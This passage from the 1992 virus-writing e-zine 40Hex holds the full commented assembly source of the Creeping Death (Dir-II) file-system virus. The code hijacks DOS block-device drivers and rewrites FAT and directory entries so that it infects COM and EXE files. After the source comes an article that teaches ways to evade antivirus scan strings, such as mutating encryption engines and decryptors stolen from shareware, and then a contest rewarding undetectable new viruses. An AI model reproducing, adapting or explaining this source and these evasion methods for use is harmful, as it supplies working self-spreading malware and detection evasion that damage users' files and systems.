0x00 0x43 Disk Killer Virus [Killer]: 0xc3 0x10 0xe2 0xf2 0xc6 0x06 0xf3 0x01 0xff 0x90 0xeb 0x55 AIDS Virus [Taunt]: 0x42 0xe8 0xef 0xe3 0xbf 0xca 0x03 0x1e Yankee Doodle Virus [Doodle]: 0x35 0xcd 0x21 0x8b 0xf3 0x8c 0xc7 Suriv A Virus [SurivA]: 0x90 0x73 0x55 0x52 0x49 0x56 0x00 Suriv B Virus [SurivB]: 0x00 0x73 0x55 0x52 0x49 0x56 0x00 ]============================================================================[ 40Hex Number 6 Volume 2 Issue 2 File 00A Welcome to this issue's VIRUS SPOTLITE, the infamous Creeping Death(dir2). This is one of the most impressive viruses out there, and VirusSoft looks to be a promising group in the future. Unfortunately, the source code we obtained had almost no comments. Dark Angel commented it as best as he possibly could, but I think it is safe to say that there may be a few discrepancies. Nonetheless, it was an excellent job, kudos to DA. Although I am writing this header, I had nothing to do with the commenting, so Dark Angel gets all the credit. -)GHeap ------------------------------------------------------------------------------- ; Dark Angel's comments: I spent my entire waking hours looking at this virus. ; I love it. It is my life. I worship the drive it ; infects. Take a look at it. Let not my troubles be ; in vain. Why did I do this? I sacrifice my life for ; the benefit of 40Hex. If you don't read this, I'm ; gonna go join [NuKE]. ; Creeping Death V 1.0 ; ; (C) Copyright 1991 by VirusSoft Corp. i13org = 5f8h i21org = 5fch dir_2 segment byte public assume cs:dir_2, ds:dir_2 org 100h start: mov sp,600h ; Set up the stack pointer inc word ptr counter ; Generation counter xor cx,cx mov ds,cx ; DS points to interrupt table lds ax, ds:[0c1h] ; Find interrupt 30h add ax,21h ; Change it to Int 21h push ds ; Save it on stack for use by push ax ; subroutine "jump" mov ah,30h ; Get DOS version call jump cmp al,4 ; DOS 4.X+ : SI = 0 sbb si,si ; DOS 2/3 : SI = -1 mov byte ptr [drive+2],byte ptr -1 ; Initialise last drive to ; "never accessed" mov bx,60h ; Adjust memory in ES to mov ah,4ah ; BX paragraphs. call jump mov ah,52h ; Get DOS List of Lists call jump ; to ES:BX push es:[bx-2] ; Save Segment of first MCB lds bx,es:[bx] ; DS:BX -> 1st DPB ; (Drive parameter block) search: mov ax,[bx+si+15h] ; Get segment of device driver cmp ax,70h ; Is it CONFIG? (I think) jne next ; If not, try again xchg ax,cx ; Move driver segment to CX mov [bx+si+18h],byte ptr -1 ; Flag block must be rebuilt mov di,[bx+si+13h] ; Save offset of device driver ; Original device driver ; address in CX:DI mov [bx+si+13h],offset header ; Replace with our own mov [bx+si+15h],cs ; (header) next: lds bx,[bx+si+19h] ; Get next device block cmp bx,-1 ; Is it the last one? jne search ; If not, search it jcxz install pop ds ; Restore segment of first mov ax,ds ; MCB add ax,ds:[3] ; Go to next MCB inc ax ; AX = segment next MCB mov dx,cs ; DX = MCB owning current dec dx ; program cmp ax,dx ; Are these the same? jne no_boot ; If not, we are not currently ; in the middle of a reboot add word ptr ds:[3],61h ; Increase length owned by ; MCB by 1552 bytes no_boot: mov ds,dx ; DS = MCB owning current ; program mov word ptr ds:[1],8 ; Set owner = DOS mov ds,cx ; DS = segment of original ; device driver les ax,[di+6] ; ES = offset int handler ; AX = offset strategy entry mov word ptr cs:str_block,ax ; Save entry point mov word ptr cs:int_block,es ; And int block for use in ; function _in cld ; Scan for the write mov si,1 ; function in the scan: dec si ; original device driver lodsw cmp ax,1effh jne scan mov ax,2cah ; Wicked un-yar place o' cmp [si+4],ax ; doom. je right cmp [si+5],ax jne scan right: lodsw push cs pop es mov di,offset modify+1 ; Save address of patch stosw ; area so it can be changed xchg ax,si ; later. mov di,offset i13org ; This is in the stack, but cli ; it is used by "i13pr" movsw movsw mov dx,0c000h ; Scan for hard disk ROM ; Start search @ segment C000h fdsk1: mov ds,dx ; Load up the segment xor si,si ; atart at offset 0000h lodsw ; Scan for the signature cmp ax,0aa55h ; Is it the signature? jne fdsk4 ; If not, change segment cbw ; clear AH lodsb ; load a byte to AL mov cl,9 sal ax,cl ; Shift left, 0 filled fdsk2: cmp [si],6c7h jne fdsk3 cmp word ptr [si+2],4ch jne fdsk3 push dx ; Save the segment push [si+4] ; and offset on stack jmp short death ; for use by i13pr install: int 20h file: db "c:",255,0 fdsk3: inc si ; Increment search offset cmp si,ax ; If we are not too high, jb fdsk2 ; try again fdsk4: inc dx ; Increment search segment cmp dh,0f0h ; If we are not in high jb fdsk1 ; memory, try again sub sp,4 ; effectively push dummy vars. death: push cs ; on stack for use by i13pr pop ds mov bx,ds:[2ch] ; Get environment from PSP mov es,bx mov ah,49h ; Release it (to save memory) call jump xor ax,ax test bx,bx ; Is BX = 0? jz boot ; If so, we are booting now mov di,1 ; and not running a file seek: dec di ; Search for end of scasw ; the environment block jne seek lea si,[di+2] ; SI points to filename jmp short exec ; (in DOS 3.X+) ; Execute that file boot: mov es,ds:[16h] ; get PSP of parent mov bx,es:[16h] ; get PSP of parent dec bx ; go to its MCB xor si,si exec: push bx mov bx,offset param ; Set up parameter block ; for EXEC function mov [bx+4],cs ; segment to command line mov [bx+8],cs ; segment to 1st FCB mov [bx+12],cs ; segment to 2nd FCB pop ds push cs pop es mov di,offset f_name push di ; Save filename offset mov cx,40 ; Copy the filename to rep movsw ; the buffer push cs pop ds mov ah,3dh ; Handle open file mov dx,offset file ; "c:",0 call jump pop dx ; DS:DX -> filename mov ax,4b00h ; Load and Execute call jump ; ES:BX = param block mov ah,4dh ; Get errorlevel call jump mov ah,4ch ; Terminate jump: pushf ; Simulate an interrupt 21h call dword ptr cs:[i21org] ret ;--------Installation complete i13pr: mov ah,3 ; Write AL sectors from ES:BX jmp dword ptr cs:[i13org] ; to track CH, sector CL, ; head DH, drive DL main: push ax ; driver push cx ; strategy block push dx push ds push si push di push es ; Move segment of parameter pop ds ; block to DS mov al,[bx+2] ; [bx+2] holds command code cmp al,4 ; Input (read) je input cmp al,8 ; Output (write) je output cmp al,9 ; Output (write) with verify je output call in_ ; Call original device cmp al,2 ; Request build BPB jne ppp ; If none of the above, exit lds si,[bx+12h] ; DS:SI point to BPB table mov di,offset bpb_buf ; Replace old pointer with mov es:[bx+12h],di ; a pointer to our own mov es:[bx+14h],cs ; BPB table push es ; Save segment of parameters push cs pop es mov cx,16 ; Copy the old BPB table to rep movsw ; our own pop es ; Restore parameter segment push cs pop ds mov al,[di+2-32] ; AL = sectors per allocation cmp al,2 ; unit. If less than adc al,0 ; 2, increment cbw ; Extend sign to AH (clear AH) cmp word ptr [di+8-32],0 ; Is total number sectors = 0? je m32 ; If so, big partition (>32MB) sub [di+8-32],ax ; Decrease space of disk by ; one allocation unit(cluster) jmp short ppp ; Exit m32: sub [di+15h-32],ax ; Handle large partitions sbb word ptr [di+17h-32],0 ppp: pop di pop si pop ds pop dx pop cx pop ax rts: retf ; We are outta here! output: mov cx,0ff09h call check ; is it a new disk? jz inf_sec ; If not, go away call in_ ; Call original device handler jmp short inf_dsk inf_sec: jmp _inf_sec read: jmp _read read_: add sp,16 ; Restore the stack jmp short ppp ; Leave device driver input: call check ; Is it a new disk? jz read ; If not, leave inf_dsk: mov byte ptr [bx+2],4 ; Set command code to READ cld lea si,[bx+0eh] ; Load from buffer address mov cx,8 ; Save device driver request save: lodsw ; on the stack push ax loop save mov word ptr [bx+14h],1 ; Starting sector number = 1 ; (Read 1st FAT) call driver ; Read one sector jnz read_ ; If error, exit mov byte ptr [bx+2],2 ; Otherwise build BPB call in_ ; Have original driver do the ; work lds si,[bx+12h] ; DS:SI points to BPB table mov ax,[si+6] ; Number root directory entries add ax,15 ; Round up mov cl,4 shr ax,cl ; Divide by 16 to find sectors ; of root directory mov di,[si+0bh] ; DI = sectors/FAT add di,di ; Double for 2 FATs stc ; Add one for boot record adc di,ax ; Add sector size of root dir push di ; to find starting sector of ; data (and read) cwd ; Clear DX mov ax,[si+8] ; AX = total sectors test ax,ax ; If it is zero, then we have jnz more ; an extended partition(>32MB) mov ax,[si+15h] ; Load DX:AX with total number mov dx,[si+17h] ; of sectors more: xor cx,cx sub ax,di ; Calculate FAT entry for last ; sector of disk sbb dx,cx mov cl,[si+2] ; CL = sectors/cluster div cx ; AX = cluster # cmp cl,2 ; If there is more than 1 sbb ax,-1 ; cluster/sector, add one push ax ; Save cluster number call convert ; AX = sector number to read ; DX = offset in sector AX ; of FAT entry ; DI = mask for EOF marker mov byte ptr es:[bx+2],4 ; INPUT (read) mov es:[bx+14h],ax ; Starting sector = AX call driver ; One sector only again: lds si,es:[bx+0eh] ; DS:SI = buffer address add si,dx ; Go to FAT entry sub dh,cl ; Calculate a new encryption adc dx,ax ; value mov word ptr cs:gad+1,dx ; Change the encryption value cmp cl,1 ; If there is 0 cluster/sector je small_ ; then jump to "small_" mov ax,[si] ; Load AX with offset of FAT ; entry and ax,di ; Mask it with value from ; "convert" then test to see ; if the sector is fine cmp ax,0fff7h ; 16 bit reserved/bad je bad cmp ax,0ff7h ; 12 bit reserved/bad je bad cmp ax,0ff70h ; 12 bit reserved/bad jne ok bad: pop ax ; Tried to replicate on a bad dec ax ; cluster. Try again on a push ax ; lower one. call convert ; Find where it is in the FAT jmp short again ; and try once more small_: not di ; Reverse mask bits and [si],di ; Clear other bits pop ax ; AX = cluster number push ax inc ax ; Need to do 2 consecutive push ax ; bytes mov dx,0fh test di,dx jz here inc dx ; Multiply by 16 mul dx here: or [si],ax ; Set cluster to next pop ax ; Restore cluster of write call convert ; Calculate buffer offset mov si,es:[bx+0eh] ; Go to FAT entry (in buffer) add si,dx mov ax,[si] and ax,di ok: mov dx,di ; DI = mask from "convert" dec dx and dx,di ; Yerg! not di and [si],di or [si],dx ; Set [si] to DI cmp ax,dx ; Did we change the FAT? pop ax ; i.e. Are we already on this pop di ; disk? mov word ptr cs:pointer+1,ax ; Our own starting cluster je _read_ ; If we didn't infect, then ; leave the routine. Oh ; welp-o. mov dx,[si] push ds push si call write ; Update the FAT pop si pop ds jnz _read_ ; Quit if there's an error call driver cmp [si],dx jne _read_ dec ax dec ax mul cx ; Multiply by sectors/cluster ; to find the sector of the ; write add ax,di adc dx,0 push es pop ds mov word ptr [bx+12h],2 ; Byte/sector count mov [bx+14h],ax ; Starting sector # test dx,dx jz less mov word ptr [bx+14h],-1 ; Flag extended partition mov [bx+1ah],ax ; Handle the sector of the mov [bx+1ch],dx ; extended partition less: mov [bx+10h],cs ; Transfer address segment mov [bx+0eh],100h ; and the offset (duh) call write ; Zopy ourselves! ; (We want to travel) _read_: std lea di,[bx+1ch] ; Restore device driver header mov cx,8 ; from the stack load: pop ax stosw loop load _read: call in_ ; Call original device handler mov cx,9 _inf_sec: mov di,es:[bx+12h] ; Bytes/Sector lds si,es:[bx+0eh] ; DS:SI = pointer to buffer sal di,cl ; Multiply by 512 ; DI = byte count xor cl,cl add di,si ; Go to address in the buffer xor dl,dl ; Flag for an infection in ; function find push ds push si call find ; Infect the directory jcxz no_inf call write ; Write it back to the disk and es:[bx+4],byte ptr 07fh ; Clear error bit in status ; word no_inf: pop si pop ds inc dx ; Flag for a decryption in ; function find call find ; Return right information to ; calling program jmp ppp ;--------Subroutines find: mov ax,[si+8] ; Check filename extension cmp ax,"XE" ; in directory structure jne com cmp [si+10],al je found com: cmp ax,"OC" jne go_on cmp byte ptr [si+10],"M" jne go_on found: test [si+1eh],0ffc0h ; >4MB ; Check file size high word jnz go_on ; to see if it is too big test [si+1dh],03ff8h ; <2048B ; Check file size low word jz go_on ; to see if it is too small test [si+0bh],byte ptr 1ch ; Check attribute for subdir, jnz go_on ; volume label or system file test dl,dl ; If none of these, check DX jnz rest ; If not 0, decrypt pointer: mov ax,1234h ; mov ax, XX modified elsewhere cmp ax,[si+1ah] ; Check for same starting ; cluster number as us je go_on ; If it is, then try another xchg ax,[si+1ah] ; Otherwise make it point to ; us. gad: xor ax,1234h ; Encrypt their starting ; cluster mov [si+14h],ax ; And put it in area reserved ; by DOS for no purpose loop go_on ; Try another file rest: xor ax,ax ; Disinfect the file xchg ax,[si+14h] ; Get starting cluster xor ax,word ptr cs:gad+1 ; Decrypt the starting cluster mov [si+1ah],ax ; and put it back go_on: db 2eh,0d1h,6 ; rol cs:[gad+1], 1 dw offset gad+1 ; Change encryption and add si,32 ; go to next file cmp di,si ; If it is not past the end of jne find ; the buffer, then try again ret ; Otherwise quit check: mov ah,[bx+1] ; ah = unit code (block device ; only) drive: cmp ah,-1 ; cmp ah, XX can change. ; Compare with the last call ; -1 is just a dummy ; impossible value that will ; force the change to be true mov byte ptr cs:[drive+2],ah ; Save this call's drive jne changed ; If not the same as last call ; media has changed push [bx+0eh] ; If it is the same physical ; drive, see if floppy has ; been changed mov byte ptr [bx+2],1 ; Tell original driver to do a call in_ ; media check (block only) cmp byte ptr [bx+0eh],1 ; Returns 1 in [bx+0eh] if pop [bx+0eh] ; media has not been changed mov [bx+2],al ; Restore command code changed: ret ; CF,ZF set if media has not ; been changed, not set if ; has been changed or we don't ; know write: cmp byte ptr es:[bx+2],8 ; If we want OUTPUT, go to jae in_ ; original device handler ; and return to caller mov byte ptr es:[bx+2],4 ; Otherwise, request INPUT mov si,70h mov ds,si ; DS = our segment modify: mov si,1234h ; Address is changed elsewhere push [si] push [si+2] mov [si],offset i13pr mov [si+2],cs call in_ ; Call original device handler pop [si+2] pop [si] ret driver: mov word ptr es:[bx+12h],1 ; One sector in_: ; in_ first calls the strategy ; of the original device ; driver and then calls the ; interrupt handler db 09ah ; CALL FAR PTR str_block: dw ?,70h ; address db 09ah ; CALL FAR PTR int_block: dw ?,70h ; address test es:[bx+4],byte ptr 80h ; Was there an error? ret convert: cmp ax,0ff0h ; 0FFF0h if 12 bit FAT jae fat_16 ; 0FF0h = reserved cluster mov si,3 ; 12 bit FAT xor word ptr cs:[si+gad-1],si ; Change the encryption value mul si ; Multiply by 3 and shr ax,1 ; divide by 2 mov di,0fffh ; Mark it EOF (low 12 bits) jnc cont ; if it is even, continue mov di,0fff0h ; otherwise, mark it EOF (high jmp short cont ; 12 bits) and then continue fat_16: mov si,2 ; 16 bit FAT mul si ; Double cluster # mov di,0ffffh ; Mark it as end of file cont: mov si,512 div si ; AX = sector number ; (relative to start of FAT) ; DX = offset in sector AX header: inc ax ; Increment AX to account for ret ; boot record counter: dw 0 dw 842h ; Attribute ; Block device ; DOS 3 OPEN/CLOSE removable ; media calls supported ; Generic IOCTL call supported ; Supports 32 bit sectors dw offset main ; Strategy routine dw offset rts ; Interrupt routine (rtf) db 7fh ; Number of subunits supported ; by this driver. Wow, lookit ; it -- it's so large and juicy ; Parameter block format: ; 0 WORD Segment of environment ; 2 DWORD pointer to command line ; 6 DWORD pointer to 1st default FCB ;10 DWORD pointer to 2nd default FCB param: dw 0,80h,?,5ch,?,6ch,? bpb_buf: db 32 dup(?) f_name: db 80 dup(?) ;--------The End. dir_2 ends end start MsDos ------------------------------------------------------------------------------- 40Hex Number 6 Volume 2 Issue 2 File 00B ------------------------------ SCAN STRINGS, HOW THEY WORK, AND HOW TO AVOID THEM ------------------------------ By Dark Angel ------------------------------ Scan strings are the scourge of the virus author and the friend of anti- virus wanna-bes. The virus author must find encryption techniques which can successfully evade easy detection. This article will show you several such techniques. Scan strings, as you are well aware, are a collection of bytes which an anti-viral product uses to identify a virus. The important thing to keep in mind is that these scan strings represent actual code and can NEVER contain code which could occur in a "normal" program. The trick is to use this to your advantage. When a scanner checks a file for a virus, it searches for the scan string which could be located ANYWHERE IN THE FILE. The scanner doesn't care where it is. Thus, a file which consists solely of the scan string and nothing else would be detected as infected by a virus. A scanner is basically an overblown "hex searcher" looking for 1000 signatures. Interesting, but there's not much you can do to exploit this. The only thing you can do is to write code so generic that it could be located in any program (by chance). Try creating a file with the following debug script and scanning it. This demonstrates the fact that the scan string may be located at any position in the file. --------------------------------------------------------------------------- n marauder.com e 0100 E8 00 00 5E 81 EE 0E 01 E8 05 00 E9 rcx 000C w q --------------------------------------------------------------------------- Although scanners normally search for decryption/encryption routines, in Marauder's case, SCAN looks for the "setup" portion of the code, i.e. setting up BP (to the "delta offset"), calling the decryption routine, and finally jumping to program code. What you CAN do is to either minimise the scannable code or to have the code constantly mutate into something different. The reasons are readily apparent. The simplest technique is having multiple encryption engines. A virus utilising this technique has a database of encryption/decryption engines and uses a random one each time it infects. For example, there could be various forms of XOR encryption or perhaps another form of mathematical encryption. The trick is to simply replace the code for the encryption routine each time with the new encryption routine. Mark Washburn used this in his V2PX series of virii. In it, he used six different encryption/decryption algorithms, and some mutations are impossible to detect with a mere scan string. More on those later. Recently, there has been talk of the so-called MTE, or mutating engine, from Bulgaria (where else?). It utilises the multiple encryption engine technique. Pogue Mahone used the MTE and it took McAfee several days to find a scan string. Vesselin Bontchev, the McAfee-wanna-be of Bulgaria, marvelled the engineering of this engine. It is distributed as an OBJ file designed to be able to be linked into any virus. Supposedly, SCANV89 will be able to detect any virus using the encryption engine, so it is worthless except for those who have an academic interest in such matters (such as virus authors). However, there is a serious limitation to the multiple encryption technique, namely that scan strings may still be found. However, scan strings must be isolated for each different encryption mechanism. An additional benefit is the possibility that the antivirus software developers will miss some of the encryption mechanisms so not all the strains of the virus will be caught by the scanner. Now we get to a much better (and sort of obvious) method: minimising scan code length. There are several viable techniques which may be used, but I shall discuss but three of them. The one mentioned before which Mark Washburn used in V2P6 was interesting. He first filled the space to be filled in with the encryption mechanism with dummy one byte op-codes such as CLC, STC, etc. As you can see, the flag manipulation op-codes were exploited. Next, he randomly placed the parts of his encryption mechanism in parts of this buffer, i.e. the gaps between the "real" instructions were filled in with random dummy op-codes. In this manner, no generic scan string could be located for this encryption mechanism of this virus. However, the disadvantage of this method is the sheer size of the code necessary to perform the encryption. A second method is much simpler than this and possibly just as effective. To minimise scan code length, all you have to do is change certain bytes at various intervals. The best way to do this can be explained with the following code fragment: mov si, 1234h ; Starting location of encryption mov cx, 1234h ; Virus size / 2 + variable number loop_thing: xor word ptr cs:[si], 1234h ; Decrypt the value add si, 2 loop loop_thing In this code fragment, all the values which can be changed are set to 1234h for the sake of clarity. Upon infection, all you have to do is to set these variable values to whatever is appropriate for the file. For example, mov bx, 1234h would have to be changed to have the encryption start at the wherever the virus would be loaded into memory (huh?). Ponder this for a few moments and all shall become clear. To substitute new values into the code, all you have to do is something akin to: mov [bp+scratch+1], cx Where scratch is an instruction. The exact value to add to scratch depends on the coding of the op-code. Some op-codes take their argument as the second byte, others take the third. Regardless, it will take some tinkering before it is perfect. In the above case, the "permanent" code is limited to under five or six bytes. Additionally, these five or six bytes could theoretically occur in ANY PROGRAM WHATSOEVER, so it would not be prudent for scanners to search for these strings. However, scanners often use scan strings with wild-card-ish scan string characters, so it is still possible for a scan string to be found. The important thing to keep in mind when using this method is that it is best for the virus to use separate encryption and decryption engines. In this manner, shorter decryption routines may be found and thus shorter scan strings will be needed. In any case, using separate encryption and decryption engines increases the size of the code by at most 50 bytes. The last method detailed is theft of decryption engines. Several shareware products utilise decryption engines in their programs to prevent simple "cracks" of their products. This is, of course, not a deterrent to any programmer worth his salt, but it is useful for virus authors. If you combine the method above with this technique, the scan string would identify the product as being infected with the virus, which is a) bad PR for the company and b) unsuitable for use as a scan string. This technique requires virtually no effort, as the decryption engine is already written for you by some unsuspecting PD programmer. All the methods described are viable scan string avoidance techniques suitable for use in any virus. After a few practice tries, scan string avoidance should become second nature and will help tremendously in prolonging the effective life of your virus in the wild. 40Hex Number 6 Volume 2 Issue 2 File 00C ------------------------ Virus Contest! 'The Spammies(tm)' ------------------------ Deadline: July 4th, 1992 This is the first PHALCON/SKISM virus contest. As a matter of fact, this is the first contest of its kind. We believe that it will motivate you to produce more original code, rather than more hacks. Winners may have already won $10,000,000, as well as the prestige of winning the first ever 'Spammie' awards. Rules and Regulations: 1) All submissions must be original source code. (no hacks) 2) Only one submission is allowed per programmer, plus one group project. 3) All viruses must be recieved by us before July 4th, 1992. 4) Viruses must be accompanied by a complete entry form. (see below) 5) The original, compilable, commented source MUST be included, along with an installer program, or a dropper, in the case of boot block viruses. 6) Entries must include a location where the author may be contacted, such as an email address or a BBS. 7) Personnel or persons related to personnel of PHALCON/SKISM are not eligable. 8) The source must compile without error under Tasm or Masm (please specify what assembler and version you used, along with the necessary command line switches). If we cannot compile your virus, it will be disqualified. 9) All entries recieve a free subscription to 40hex. (hehehehe) 10) The entry must be uploaded privately to the sysop, stating that it is a contest entry. 11) The viruses must not be detectable by the current version (as of July 4th) of any known virus scanner. 12) Viruses will be judged by our 'panel of experts' in three catagories. 6.1) Stealth 6.2) Size 6.3) Reproductivity 6.4) Performance For example, Red Cross is an example of a 'high performance' virus. It was entertaining and well done. *** Entry Form Handle ________________________ Group Afiliation ______________ Virus Name ____________________ Size ____bytes (if you need more spaces, go away) Type ___ File Infector ___ Boot block Infection method ___ Direct Action ___ Memory Resident ___ Directory chain ___ Other (please describe it in detail) Encryption routine ___ None (bah) ___ Xor loop ___ Other (please describe it in detail) Describe what makes your infection routine unique. _______________________________________________________________________________ _______________________________________________________________________________ Describe what makes your encryption routine unique. _______________________________________________________________________________ _______________________________________________________________________________ Describe what means your virus uses, other than encryption, to keep itself hidden. _______________________________________________________________________________ _______________________________________________________________________________ What is the largest possible scan string for this virus? __bytes What else sets this virus apart from other viruses? _______________________________________________________________________________ _______________________________________________________________________________ _______________________________________________________________________________